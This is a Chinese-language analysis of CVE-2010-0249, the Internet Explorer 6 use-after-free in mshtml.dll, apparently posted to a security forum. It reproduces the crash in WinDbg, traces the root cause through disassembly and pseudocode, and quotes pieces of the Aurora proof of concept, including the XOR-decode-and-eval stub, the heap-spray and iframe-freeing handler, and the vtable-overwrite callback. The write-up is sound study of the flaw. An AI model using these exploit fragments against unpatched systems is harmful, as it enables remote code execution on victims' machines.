漏洞分析 CVE-2010-0249 漏洞简介漏洞编号 :CVE-2010-0249
危害等级 :高危
漏洞类型 :缓冲区溢出
操作系统 :Windows 2000/XP/2003/Vista Gold/2008/7/
软件名称 :Internet Explorer
软件版本 :6.0
漏洞模块 :mshtml.dll
模块版本 :6.0.2900.5512
环境配置物理机(或者单独开一个虚拟机作为服务端)开启 IIS 服务作为网站服务器
开启 IIS
安装虚拟机虚拟机使用 window xp sp3,建议从msdn下载镜像自己安装,笔者最开始用的别人做好的windows xp sp3 虚拟机 POC 无法正常运行,这里附上MSDN中的镜像版本 Windows XP Professional with Service Pack 3 (x86) - CD (Chinese-Simplified)。
漏洞复现启动windbg并配置符号文件,使用 windbg 附加 IE 浏览器,执行 poc http://192.168.0.113/Aurora.html?rFfWELUjLJHpP
,等待windbg 断在 mshtml!CElement::GetDocPtr+0x2:
处,需要注意该 poc 的堆喷射并非每次都可以成功,如未在此处断下建议多尝试几次,如正确断下则代表漏洞已复现成功,此时可在 windbg 中使用命令 .dump -ma dumpfile.dmp
将异常信息全部 dump 到文件中,dumpfile.dmp 文件保存在 windbg 软件所在的目录中。
漏洞分析可以通过栈帧,回溯漏洞的调用流程
1
2
3
4
5
6
7
8
9
0
:
000
> k
ChildEBP RetAddr
0012e358
7e44c4c8
mshtml!CElement::GetDocPtr
+
0x2
0012e37c
7e44c623
mshtml!CEventObj::GenericGetElement
+
0x9c
0012e38c
7e3af659
mshtml!CEventObj::get_srcElement
+
0x15
0012e3b0
7e2a8a23
mshtml!GS_IDispatchp
+
0x33
0012e430
7e2a88bf
mshtml!CBase::ContextInvokeEx
+
0x462
0012e45c
75be1408
mshtml!CBase::InvokeEx
+
0x25
0012e494
75be1378
jscript!IDispatchExInvokeEx2
+
0xac
在 IDA 中查看地址 7e44c4c8 处代码,因为异常断在 7e278c85 处,所以显然是 7E278C83 的 mov eax[ecx]
出现问题,因为这只是一条 mov 指令,所以异常必然是对 ecx 解引用导致的,也就是说此时 ecx 的值是非法地址,为了清晰的观察 ecx 的值的传递过程,此时我们将 ecx 的值标记位 leak,我们倒着推一下 leak 这个值是怎么来的
1
2
3
4
5
6
7E278C83
?GetDocPtr@CElement@@QBEPAVCDoc@@XZ proc near
7E278C83
mov eax, [ecx] ; ecx
=
leak
7E278C85
call dword ptr [eax
+
34h
]
7E278C88
mov eax, [eax
+
0Ch
]
7E278C8B
retn
7E278C8B
?GetDocPtr@CElement@@QBEPAVCDoc@@XZ endp
通过栈回溯,在IDA中跳转到地址 7E44C4BE,此时我们容易推出下列结论,leak = [esi]
1
2
3
4
5
6
7
7E44C4BE
push ebx
7E44C4BF
mov ebx, [esi] ; leak
=
[esi]
7E44C4C1
mov ecx, ebx ; ebx
=
leak
7E44C4C3
call ?GetDocPtr@CElement@@QBEPAVCDoc@@XZ ;ecx
=
leak
7E44C4C8
mov eax, [eax
+
14Ch
]
7E44C4CE
mov eax, [eax
+
2Ch
]
7E44C4D1
mov ecx, [eax
+
20h
] ; this
继续向上回推,会发现 esi = [eax+n],eax = [ebp + var_8],此时我们暂且认为n为0,即 leak = [[eax]] = [[[ebp + var_8]]] 显然接下来我们需要关注 var_8
继续向上推会发现其调用了函数 GetParam@CEventObj,而这个函数将 [ebp+var_8] 作为唯一参数,显然我们需知道这个函数中是否对 [ebp+var_8] 的值进行了修改,因为是作为参数压入了栈中,下面的代码中我们需要关注的其实是 [ebp+8],通过简单的代入可得到:[[参数1]] = this + 0x18
回到调用 GetParam@CEventObj 函数处,可以轻松推导出 [[eax]] = this + 0x18,结合之前的推论 leak = [[[ebp + var_8]]],可得到最终推论 leak = [this+0x18]
而函数 GenericGetElement 的 this 也就是 ecx 是由外界参数传入的,也就是说这个地址是可控的
POC分析 前置知识
setInterval:可按照指定的周期(以毫秒计)来调用函数或计算表达式,setInterval方法会不停地调用函数,直到 clearInterval被调用或窗口被关闭。window.setInterval(调用函数,延时时间);
event.srcElement:可以捕获当前事件作用的对象
document.createElement:动态创建DOM元素并插入的已有的HTML中,函数接受一个HTML标签名称并返回Element 类型的新节点。
unescape:可对通过 escape() 编码的字符串进行解码。
POC解密 为了便于分析,我们不希望程序直接被执行,而是想看一下解密后的代码是什么,而解密后的代码保存在变量“NqxAXnnXiILOBMwVnKoqnbp”里面,我们可以先将上述代码注释掉,在它上面添加这样的一行代码,这里结合console.log() 方法可以将解密后的内容在控制台输出,使用浏览器执行这个网页文件,打开开发者模式中的控制台就可以看到解密后的内容了
1
2
3
4
5
6
7
var vuWGWsvUonxrQzpqgBXPrZNSKRGee
=
location.search.substring(
1
);
var NqxAXnnXiILOBMwVnKoqnbp
=
'';
for
(i
=
0
;i<RXb.length;i
+
+
) {
NqxAXnnXiILOBMwVnKoqnbp
+
=
String.fromCharCode(RXb.charCodeAt(i) ^ vuWGWsvUonxrQzpqgBXPrZNSKRGee.charCodeAt(i
%
vuWGWsvUonxrQzpqgBXPrZNSKRGee.length));
}
console.log(NqxAXnnXiILOBMwVnKoqnbp);
/
/
window[
"eval"
.replace(
/
[A
-
Z]
/
g,"")](NqxAXnnXiILOBMwVnKoqnbp);
逐步分析
onload 中调用 WisgEgTNEfaONekEqaMyAUALLMYW(event)
1
2
3
<span
id
=
"vhQYFCtoDnOzUOuxAflDSzVMIHYhjJojAOCHNZtQdlxSPFUeEthCGdRtiIY"
>
<iframe src
=
"/infowTVeeGDYJWNfsrdrvXiYApnuPoCMjRrSZuKtbVgwuZCXwxKjtEclbPuJPPctcflhsttMRrSyxl.gif"
onload
=
"WisgEgTNEfaONekEqaMyAUALLMYW(event)"
/
>
<
/
span>
该函数中分别执行了堆喷射、创建事件对象、释放iframe、延时调用
1
2
3
4
5
6
7
8
function WisgEgTNEfaONekEqaMyAUALLMYW(cpznAZhGdtOhTCNSVGLRdYeEfCAPKMeztpQnoKTGKsjrhhkoxCWPz)
{
gGyfqFvCYPRmXbnUWzBrulnwZVAJpUifKDiAZEKOqNHrfziGDtUOBqjYCtATBhClJkXjezUcmxBlfEX();
/
/
堆喷射
lTneQKOeMgwvXaqCPyQAaDDYAkd
=
document.createEventObject(cpznAZhGdtOhTCNSVGLRdYeEfCAPKMeztpQnoKTGKsjrhhkoxCWPz);
/
/
此处将事件对象创建了一份(引用计数加一)
document.getElementById(
"vhQYFCtoDnOzUOuxAflDSzVMIHYhjJojAOCHNZtQdlxSPFUeEthCGdRtiIY"
).innerHTML
=
"";
/
/
此处释放 iframe
window.setInterval(nayjNuSncnxGnhZDJrEXatSDkpo,
50
);
/
/
延时调用,访问已经被释放的内存
}
重点在延时调用的函数,在这个函数中覆盖了虚表指针,导致再接下来的调用时
1
2
3
4
5
6
7
8
function nayjNuSncnxGnhZDJrEXatSDkpo(){
p
=
"\u0c0f\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d"
;
for
(i
=
0
; i < MeExIMbufEWBILnRFpImyxRTWGErClypbeBtzPrAICchTufmJXuziChiul.length; i
+
+
)
{
MeExIMbufEWBILnRFpImyxRTWGErClypbeBtzPrAICchTufmJXuziChiul[i].data
=
p;
/
/
将全局对象中的数据改为
0c0d0c0d
(覆盖虚表指针)
}
var t
=
lTneQKOeMgwvXaqCPyQAaDDYAkd.srcElement;
/
/
获取一个已经置空了的对象
}
漏洞原理尽管已经定位到了导致崩溃的位置以及函数的调用情况,但是我们还是要进一步探索出现漏洞的根本原因的,所以有必要研究一下IE浏览器在解析这个PoC网页的时候到底出现了什么情况。通过刚才的分析我们知道,程序一开始调用了document.createEventObject为当前的event事件创建一个副本,因此我们不妨使用WinDbg的x命令来检查调试符号,这里可以找到两条结果,其中地址为0x7e216b2c的内容通过IDA查看,发现它是一种数据结构,所以程序只可能使用CDocument::createEventObject用于解析JavaScript代码中的document.createEventObject函数。所以不妨在IDA中来到0x7e383b3b位置分析一下副本的创建方式。来到该函数的末尾,可以发现它的主要功能是由CEventObj::Create来实现的。
1
2
3
0
:
000
> x mshtml!
*
document
*
createEventObject
*
7e216b2c
mshtml!s_methdescCDocumentcreateEventObject
=
<no
type
information>
7e383b3b
mshtml!CDocument::createEventObject (<no parameter info>)
在IDA中跳转到 7e383b3b,转换为伪代码后可以发现,实际调用的是 CEventObj::Create
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int
__userpurge CDocument::createEventObject@<eax>(
GUID
*
a1@<esi>,
CDocument
*
this,
struct tagVARIANT
*
a3,
struct IHTMLEventObj
*
*
a4)
{
v8
=
CDocument::Doc(this);
v9
=
0
;
if
( a4 )
{
......
v7
=
v9;
v5
=
CDocument::Markup(this);
v4
=
CEventObj::Create((
int
)a1, a4, v8,
0
, v5,
0
,
0
, v7,
0
);
return
CBase::SetErrorInfo(this, v4);
}
v4
=
-
2147024809
;
return
CBase::SetErrorInfo(this, v4);
}
在 CEventObj::Create 中在申请堆空间后,会调用函数 EVENTPARAM::EVENTPARAM
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int
__userpurge CEventObj::Create@<eax>(
int
a1@<esi>,struct IHTMLEventObj
*
*
a2,struct CDoc
*
a3,struct CElement
*
a4,struct CMarkup
*
a5,
int
a6,unsigned __int16
*
a7,struct EVENTPARAM
*
a8,
int
a9)
{
......
if
( !v24 )
{
if
( a6 )
{
if
( !a8 )
goto LABEL_12;
v20
=
(EVENTPARAM
*
)_MemAlloc(
0xD8u
);
if
( v20 )
v21
=
EVENTPARAM::EVENTPARAM(v20, a8);
/
/
调用函数 EVENTPARAM::EVENTPARAM
else
v21
=
0
;
*
((_DWORD
*
)v12
+
6
)
=
v21;
if
( v21 )
{
*
((_DWORD
*
)v21
+
34
)
=
v12;
goto LABEL_12;
}
}
else
{
v18
=
(EVENTPARAM
*
)_MemAlloc(
0xD8u
);
if
( v18 )
v19
=
EVENTPARAM::EVENTPARAM(v18, a3, a4, a5, a8
=
=
0
,
0
, a8);
else
v19
=
0
;
*
((_DWORD
*
)v12
+
6
)
=
v19;
......
}
在分析 EVENTPARAM::EVENTPARAM 函数前先补充一下 EVENTPARAM 结构的知识
1
2
3
4
5
6
7
CEventObj
+
x04 _pparam;
/
/
EVENTPARAM
*
struct EVENTPARAM
+
x00 _pNode;
/
/
src element(CTreeNode)
+
x04 _pNodeFrom
/
/
for
move,over,out
+
x08 _pNodeTo
/
/
for
move,over,out
分析函数 EVENTPARAM::EVENTPARAM 可以看到,这个函数将参数二的数据拷贝到 this指针处,但是请注意,参数二中还包含着一个叫做CTreeNode的对象结构体,此处将CTreeNode对象拷贝,但是没有将CTreeNode的引用计数加一
1
2
3
4
5
6
7
8
9
EVENTPARAM
*
__thiscall EVENTPARAM::EVENTPARAM(EVENTPARAM
*
this, const struct EVENTPARAM
*
a2)
{
......
qmemcpy(this, a2,
0xD8u
);
/
/
内存拷贝
v3
=
*
((_DWORD
*
)this
+
25
);
*
((_BYTE
*
)this
+
169
) &
=
~
4u
;
......
return
this;
}
我们已经弄清了漏洞的成因,所以我们尝试在windbg中观察漏洞的形成过程,看看事件对象是如何创建和保存的。其实在mshtml模块中是存在有一个用于创建不同元素的函数表的,它的地址是 7e21aa98
在这个函数表中我们可以找到创建IFrame的函数,它的地址是 7E21ADC0
回到虚拟机中在函数上下断点
1
bu mshtml!CIFrameElement::CIFrameElement
这里所获取的CIFrameElement对象指针会保存在ecx寄存器中(利用IDA结合上下调用关系可以得知),也就是地址为0x01ca1710的位置,但由于现在还没有开始创建,因此这个地址中并没有内容。
然后我们在CTreeNode上也下一个断点,并通过栈回溯来观察一下
1
bu mshtml!CTreeNode::CTreeNode
在这里,CTreeNode已经将刚才的CIFrameElement对象指针当作自己的第二个参数使用了。同时利用CTreeNode::SetElement函数将CIFrameElement类与CTreeNode相关联。此时可以再看一下0x01ca1710中的内容并进行解引用:
此时查看 7e25bc68 处可以看到,该指针最终指向的是“vftable”
1
2
3
4
5
6
7
8
9
10
0
:
000
> u
7e25bc68
mshtml!CIFrameElement::`vftable':
7e25bc68
bf002d7ecd mov edi,
0CD7E2D00h
7e25bc6d
a5 movs dword ptr es:[edi],dword ptr [esi]
7e25bc6e
27
daa
7e25bc6f
7e1a
jle mshtml!CIFrameElement::`vftable'
+
0x23
(
7e25bc8b
)
7e25bc71
8c27
mov word ptr [edi],fs
7e25bc73
7e6d
jle mshtml!CIFrameElement::`vftable'
+
0x7a
(
7e25bce2
)
7e25bc75
df2e fild qword ptr [esi]
7e25bc77
7e3d
jle mshtml!CIFrameElement::`vftable'
+
0x4e
(
7e25bcb6
)
如果在我们之前提取出来的dump文件中,查看原本指向虚表的指针,即0x01ca1710位置,则可以看到如下数据
1
2
3
4
5
6
7
8
9
0
:
000
> dd
01ca1710
01ca1710
0c0d0c0d
0c0d0c0d
0c0d0c0d
0c0d0c0d
01ca1720
0c0d0c0d
0c0d0c0d
0c0d0c0d
0c0d0c0d
01ca1730
0c0d0c0d
0c0d0c0d
00000000
00000000
01ca1740
00000054
0c0d0c0f
0c0d0c0d
0c0d0c0d
01ca1750
0c0d0c0d
0c0d0c0d
0c0d0c0d
0c0d0c0d
01ca1760
0c0d0c0d
0c0d0c0d
0c0d0c0d
0c0d0c0d
01ca1770
0c0d0c0d
0c0d0c0d
0c0d0c0d
0c0d0c0d
01ca1780
0c0d0c0d
0c0d0c0d
0c0d0c0d
0c0d0c0d
分析结论在创建CEventObj时,会创建EVENTPARAM结构,如果新创建的CEventObj是从已有的CEventObj继承而来时,则这两个CEventObj事件的源相同。在新创建的EVENTPARAM结构的偏移0处的元素pNode(CTreeNode),将复制源CEventObj该处的值。 在补丁前,上述过程没有增加CTreeNode的引用计数,在精心构造的html中,有可能导致CTreeNode已经释放,而EVENTPARAM的pNode却仍然指向它,导致释放后重用。 补丁后,在EVENTPARAM::EVENTPARAM中,对上述情况作了处理,增加CTreeNode的引用计数,不会再导致问题
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2023-3-12 19:32
被简单的简单编辑
,原因:
上传的附件: